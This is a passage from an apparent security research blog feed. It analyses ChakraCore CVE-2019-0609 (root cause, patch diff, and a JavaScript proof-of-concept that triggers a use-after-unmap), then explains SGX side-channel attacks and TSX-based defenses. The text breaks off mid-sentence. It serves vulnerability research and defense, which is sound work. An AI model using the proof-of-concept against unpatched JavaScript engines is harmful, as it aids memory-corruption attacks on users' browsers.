&lt;span class="mi"&gt;713&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;FrameDisplay&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;frameDisplay&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;scriptFunction&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;GetEnvironment&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="mi"&gt;714&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;FrameDisplay&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;boxedFrameDisplay&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BoxFrameDisplay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;frameDisplay&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="mi"&gt;715&lt;/span&gt;
&lt;span class="mi"&gt;716&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;ThreadContext&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;IsOnStack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;scriptFunction&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="mi"&gt;717&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="mi"&gt;718&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;scriptFunction&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="mi"&gt;719&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;748&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;boxedFunction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ScriptFunction&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;OP_NewScFunc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;boxedFrameDisplay&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="mi"&gt;749&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="n"&gt;reinterpret_cast&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;FunctionInfoPtrPtr&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;functionInfo&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="mi"&gt;750&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="n"&gt;stackFunction&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;boxedScriptFunction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;boxedFunction&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If the &lt;code&gt;scriptFunction&lt;/code&gt; is not on the stack, the function does not box the &lt;code&gt;scriptFunction&lt;/code&gt;, but just returns the &lt;code&gt;scriptFunction&lt;/code&gt;. Probably, this is because the &lt;code&gt;BoxStackFunction&lt;/code&gt; wants to avoid boxing a &lt;code&gt;scriptFunction&lt;/code&gt; again, which is already boxed and does not exist on the stack. However, it should be located on the stack, as it was &lt;code&gt;StackScriptFunction&lt;/code&gt;. This made us suspect the process of the stack variable allocation.&lt;/p&gt;
&lt;p&gt;We found a hint in &lt;code&gt;lib/Runtime/Language/InterpreterStackFrame.cpp: Var InterpreterStackFrame::InterpreterHelper&lt;/code&gt;. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;varAllocCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;InterpreterStackFrame&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nx"&gt;LocalsThreshold&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;While allocating the stack for a function, the engine first checks if the space of the local variables exceeds the threshold (&lt;code&gt;InterpreterStackFrame::LocalsThreshold&lt;/code&gt;). If so, the engine will allocate a private arena as the stack instead of using the existing native stack. However, the scope analysis which is done by &lt;code&gt;ThreadContext::IsOnStack&lt;/code&gt; afterward, forgets to treat this private arena as a stack frame as well. Therefore, the stack function on the private arena will not be boxed and escape the original scope.&lt;/p&gt;
&lt;p&gt;After the function, which has a private arena as its stack, is destructed, the stack will be also un-mapped. However, the non-boxed function still points to the stale stack space, which eventually results in a use-after-unmap vulnerability.&lt;/p&gt;
&lt;h2&gt;Patch analysis&lt;/h2&gt;
&lt;p&gt;This is the patch for CVE-2019-0609 released in ChakraCore 1.11.7.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stackVarAllocCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stackVarSizeInBytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stackVarAllocCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Var&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;PROBE_STACK_PARTIAL_INITIALIZED_INTERPRETER_FRAME&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GetScriptContext&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Js&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Constants&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;MinStackInterpreter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stackVarSizeInBytes&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;stackAllocation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Var&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;_alloca&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stackVarSizeInBytes&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In the patch, the engine first calculates &lt;code&gt;stackVarAllocCount&lt;/code&gt; as the number of &lt;code&gt;stackScriptFunction&lt;/code&gt; whether it is necessary to box or not. Then, it moves the &lt;code&gt;stackScriptFunctions&lt;/code&gt; to the heap through &lt;code&gt;_alloca&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Proof-of-Concept&lt;/h2&gt;
&lt;p&gt;Here is the PoC of CVE-2019-0609. The [big-size object] should be a large object literal that has an enough number of initialized members to exceed the threshold to allocate a private arena as the function stack.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;test&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{};&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fun_d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fun_d&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;big&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;object&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;test&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;test1&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;big&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;object&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// reallocate for use-after-unmap.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// function d still points the address on stack as it is not boxed.&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nx"&gt;test1&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="blog"></category><category term="Security"></category><category term="Bug"></category><category term="JavaScript"></category></entry><entry><title>TSX-based Defenses Against SGX Side-channel Attacks</title><link href="https://gts3.org/2018/tsgx-defense.html" rel="alternate"></link><published>2018-06-26T00:00:00+02:00</published><updated>2018-06-26T00:00:00+02:00</updated><author><name>Ming-Wei Shih</name></author><id>tag:gts3.org,2018-06-26:/2018/tsgx-defense.html</id><summary type="html">&lt;p&gt;Discuss why side-channel attacks are serious threats to SGX and
how existing TSX-based defenses effectively mitigate them.&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Limitations of traditional side-channel attacks&lt;/h2&gt;
&lt;p&gt;Instead of compromising software by exploiting its vulnerabilities, one way
to infer the sensitive data of bug-free software is using side-channel attacks.
However, in traditional settings (e.g., cloud environments), communities do not
consider side-channel attacks as serious security problems because these attacks
generally suffer from the following limitations.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Strict prerequisites.&lt;/strong&gt;
   To successfully launch a side-channel attack, an attacker has to meet several
   requirements that are difficult to satisfy in practice.
   For instance, Flush+Reload cache attacks require
   spy (under the control of the attacker) and victim programs to be located
   in the same physical CPU core. Moreover, the spy program needs to
   know the addresses of the shared libraries used by the victim
   program. To improve the accuracy and resolution of the attack,
   the spy program has to synchronize with the execution of
   the victim program that is of interest (e.g., processing sensitive data).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;High levels of noise.&lt;/strong&gt;
   Measuring side-channel information suffers from high levels of noise.
   The sources of the noise include both the underlying system (i.e., the OS kernel)
   and other concurrent programs. That is, the OS kernel and other concurrent programs
   can share the CPU caches with victim and spy programs, and therefore easily
   interfere the states of the caches. As a result, the spy program, which
   launches cache-based attacks, can obtain noisy information.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Low temporal resolution.&lt;/strong&gt;
   With only the control over the spy program, the attacker can
   affect (i.e., slow down) the execution time of the victim program.
   As a result, the frequency of side-channel probing, which depends
   on how the OS schedules the spy and victim programs, is
   relatively low. Such low temporal resolution of the information
   makes the attacks less effective in practice.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;One root cause of the abovementioned limitations in traditional settings
is its weak adversary model; that is, in a cloud-like environment,
an attacker has no privilege to control the entire environment.
Instead, the attacker is only able to rent a VM
that is possibly co-located with a victim VM, and
run a spy program inside that VM to target a program inside the victim VM.
This inherently suffers from all the limitations.&lt;/p&gt;
&lt;h2&gt;Why are SGX side-channel attacks more serious?&lt;/h2&gt;
&lt;p&gt;The weak adversary model significantly limits the capabilities of side-channel
attacks and, more importantly, assuming a strong adversary model does not make
sense in most of the practical scenarios. For example, although an attacker who
has the control over an OS can overcome the abovementioned limitations and launch
effective side-channel attacks against a victim program. However, given such
high privilege, the attacker can directly extract sensitive data from the
victim program; that is, the strong attacker generally does not need to rely on
side channels at all.&lt;/p&gt;
&lt;p&gt;However, this is not the case in the context of Intel Software Guard Extensions
(SGX). The high-level goal of SGX is to protect a user-space program in a
hostile environment (e.g., a public cloud in which administrators are
untrusted). More specifically, SGX protects the program from all privileged
accesses including those from an OS and a hypervisor. Unfortunately, the design
of SGX does not consider side-channel attacks, and therefore the program is
still vulnerable to this type of attacks.&lt;/p&gt;
&lt;p&gt;Given that an SGX-protected program is still vulnerable to side-channel attacks,
the SGX's strong adversary model (e.g., an attacker controls the underlying OS)
allows powerful attacks with all the limitations
addressed. More specifically, the attacker can easily meet the prerequisites of
attacks by having control over the entire system. In addition, the attacker
can apply several noise reduction techniques (e.g., running the program in an isolated
core) according to the type of side channel. To improve the temporal resolution
of attacks, the attacker can slow down and/or frequently interrupt the execution of
the program (i.e., achieve near single-stepping).&lt;/p&gt;
&lt;p&gt;By taking advantage of the strong adversary model, communities have proposed several
side-channel attacks against SGX that bypass its protection.
These attacks demonstrate not only a new type of side channels
but also significant improvement over the traditional ones.
We summarize the state-or-the-art attacks against SGX in the following table.&lt;/p&gt;
&lt;center&gt;
&lt;table border="1" width="80%"&gt;
    &lt;tr align="centr"&gt;
      &lt;th width="40%"&gt;Attack&lt;/th&gt;
      &lt;th width="25%"&gt;Source&lt;/th&gt;
      &lt;th width="15%"&gt;Granularity&lt;/th&gt;
      &lt;th width="20%"&gt;High-freq interrupt&lt;/th&gt;
    &lt;/tr&gt;
    &lt;tr align="center"&gt;
      &lt;td&gt;Controlled-channel attacks [1]&lt;/td&gt;
      &lt;td&gt;Page faults&lt;/td&gt;
      &lt;td&gt;Page&lt;/td&gt;
      &lt;td&gt;No&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr align="center"&gt;
      &lt;td&gt;Stealthy page-table-based attacks [2]&lt;/td&gt;
      &lt;td&gt;Page-table flags&lt;/td&gt;
      &lt;td&gt;Page&lt;/td&gt;
      &lt;td&gt;Yes&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr align="center"&gt;
      &lt;td&gt;Branch Shadowing [3]&lt;/td&gt;
      &lt;td&gt;Branch target buffer/Branch predictor&lt;/td&gt;
      &lt;td&gt;Branch&lt;/td&gt;
      &lt;td&gt;Yes&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr align="center"&gt;
      &lt;td&gt;BranchScope [4]&lt;/td&gt;
      &lt;td&gt;Branch predictors&lt;/td&gt;
      &lt;td&gt;Branch&lt;/td&gt;
      &lt;td&gt;Yes&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr align="center"&gt;
      &lt;td&gt;Last-level cache attacks [5]&lt;/td&gt;
      &lt;td&gt;Last-level caches&lt;/td&gt;
      &lt;td&gt;Cacheline&lt;/td&gt;
      &lt;td&gt;No&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr align="center"&gt;
      &lt;td&gt;L1 cache attacks without Hyperthread [6]&lt;/td&gt;
      &lt;td&gt;L1 caches&lt;/td&gt;
      &lt;td&gt;Cacheline&lt;/td&gt;
      &lt;td&gt;Yes&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr align="center"&gt;
      &lt;td&gt;L1 cache attacks with Hyperthread [7]&lt;/td&gt;
      &lt;td&gt;L1 caches&lt;/td&gt;
      &lt;td&gt;Cacheline&lt;/td&gt;
      &lt;td&gt;No&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr align="center"&gt;
      &lt;td&gt;TLB-based attacks [8]&lt;/td&gt;
      &lt;td&gt;TLB&lt;/td&gt;
      &lt;td&gt;Page&lt;/td&gt;
      &lt;td&gt;Yes&lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;
&lt;/center&gt;

&lt;!--
Controlled-channel attacks unmap a code/data page and wait
for an SGX-protected program access the page while
Stealthy page-table-based attacks clear the A/D flags of a
code/data page and keep monitoring the change of the flags.
To clear the flags, the attack has to flush the TLB, which
results in interrupting the program. Therefore, frequent
interrupts are essential to the stealthy attacks.
--&gt;

&lt;!--
Page-table-based attacks are a new type of side-channel attacks
that are only available under the strong adversary model.
--&gt;

&lt;h2&gt;TSX-based defenses&lt;/h2&gt;
&lt;p&gt;Defending against side-channel attacks under the strong
adversary model is not an easy task. System-level approaches
(e.g., isolating the source of side channels for a program)
are not applicable because the OS is untrusted.
Although software-based approaches (e.g., ORAM) are
effective, they generally incur significant runtime
overhead. Hardware-based approaches are both
effective and efficient, but they are expensive and may take too
much time to be adopted and deployed.&lt;/p&gt;
&lt;p&gt;With the goal of having practical defenses, communities have explored
an alternative approach that relies on an existing hardware feature:
Intel Transaction Synchronization Extensions (TSX).
The original purpose of TSX is to enable
hardware-based transactional memory. More specifically, TSX allows developers
to put a piece of code inside a transaction that ensures the atomicity of
memory accesses made by the code. When the TSX detects events that violate
the atomicity, it aborts the on-going transaction and invokes a user-space
fallback handler without notifying the underlying OS. The key observation
from communities is that these events include ones that are required by
side-channel attacks.&lt;/p&gt;
&lt;p&gt;The first proposal of TSX-based approach is T-SGX [9], which
targets mainly the controlled-channel (page-fault-based) attacks.
The key property of TSX that T-SGX utilizes is that TSX aborts
an on-going transaction when a page fault occurs while suppressing
it (i.e., the page fault is not delivered to the OS).
Based on this property, T-SGX transforms a program during
compile time to ensure the entire program is covered by
multiple transactions. This approach effectively mitigates the
controlled-channel attacks.&lt;/p&gt;
&lt;p&gt;In addition to suppressing page faults, another important
property of TSX is that it also aborts transactions
when there are interrupts. According to the table in the previous section,
frequent interrupts are essential to most of the side-channel attacks. For example,
although the stealthy page-table-based attacks avoid the need of
page faults and infer the page accesses through monitoring page-table
flags (e.g., dirty and access bits), the attacks still require
frequent interrupts to flush the TLB and clear the flags.
For cache-, branch-prediction-, and TLB-based attacks, frequent interrupts
are also necessary to obtain fine-grained information (i.e.,
achieve high temporal resolution).
With the capability of detecting interrupts, an SGX-protected program
can detect abnormally high-frequent interrupts, and
therefore effectively mitigate the attacks.&lt;/p&gt;
&lt;p&gt;For cache-based attacks that do not require frequent
interrupts, another TSX-based approach, Cloak [10],
utilizes the distinct property of TSX: aborting a transaction
when a cache conflict occurs (e.g., eviction).
Causing cache eviction is essential for cache-based attacks
(e.g., using Prime+Probe) against SGX because
SGX does not share its memory with other programs by design
(i.e., there is no Flush+Reload attack).
Cloak ensures that
a concurrent cache eviction on sensitive data always results
in aborting an on-going transaction by including all the sensitive
data in a transaction. As a result, Cloak allows an SGX-protected
program to detect malicious cache eviction, and thus mitigates
the cache-based attacks that do not require interrupts.&lt;/p&gt;
&lt;center&gt;
&lt;table border="1" width="80%"&gt;
    &lt;tr align="centr"&gt;
      &lt;th width="40%"&gt;Attack&lt;/th&gt;
      &lt;th width="25%"&gt;Source&lt;/th&gt;
      &lt;th width="15%"&gt;Granularity&lt;/th&gt;
      &lt;th width="20%"&gt;High-freq interrupt&lt;/th&gt;
    &lt;/tr&gt;
    &lt;tr align="center"&gt;
      &lt;td&gt;Controlled-channel attacks [1]&lt;/td&gt;
      &lt;td bgcolor="#58D68D"&gt;Page faults&lt;/td&gt;
      &lt;td&gt;Page&lt;/td&gt;
      &lt;td&gt;No&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr align="center"&gt;
      &lt;td&gt;Stealthy page-table-based attacks [2]&lt;/td&gt;
      &lt;td&gt;Page-table flags&lt;/td&gt;
      &lt;td&gt;Page&lt;/td&gt;
      &lt;td bgcolor="#58D68D"&gt;Yes&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr align="center"&gt;
      &lt;td&gt;Branch Shadowing [3]&lt;/td&gt;
      &lt;td&gt;Branch target buffer&lt;/td&gt;
      &lt;td&gt;Branch&lt;/td&gt;
      &lt;td bgcolor="#58D68D"&gt;Yes&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr align="center"&gt;
      &lt;td&gt;BranchScope [4]&lt;/td&gt;
      &lt;td&gt;Branch predictors&lt;/td&gt;
      &lt;td&gt;Branch&lt;/td&gt;
      &lt;td bgcolor="#58D68D"&gt;Yes&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr align="center"&gt;
      &lt;td&gt;Last-level cache attacks [5]&lt;/td&gt;
      &lt;td bgcolor="#F7DC6F"&gt;Last-level caches&lt;/td&gt;
      &lt;td&gt;Cacheline&lt;/td&gt;
      &lt;td&gt;No&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr align="center"&gt;
      &lt;td&gt;L1 cache attacks without Hyperthread [6]&lt;/td&gt;
      &lt;td bgcolor="#F7DC6F"&gt;L1 caches&lt;/td&gt;
      &lt;td&gt;Cacheline&lt;/td&gt;
      &lt;td bgcolor="#58D68D"&gt;Yes&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr align="center"&gt;
      &lt;td&gt;L1 cache attacks with Hyperthread [7]&lt;/td&gt;
      &lt;td bgcolor="#F7DC6F"&gt;L1 caches&lt;/td&gt;
      &lt;td&gt;Cacheline&lt;/td&gt;
      &lt;td&gt;No&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr align="center"&gt;
      &lt;td&gt;TLB-based attacks [8]&lt;/td&gt;
      &lt;td&gt;TLB&lt;/td&gt;
      &lt;td&gt;Page&lt;/td&gt;
      &lt;td bgcolor="#58D68D"&gt;Yes&lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;
&lt;/center&gt;

&lt;p&gt;The above table summarizes the TSX-based defenses against state-of-the-art side-channel
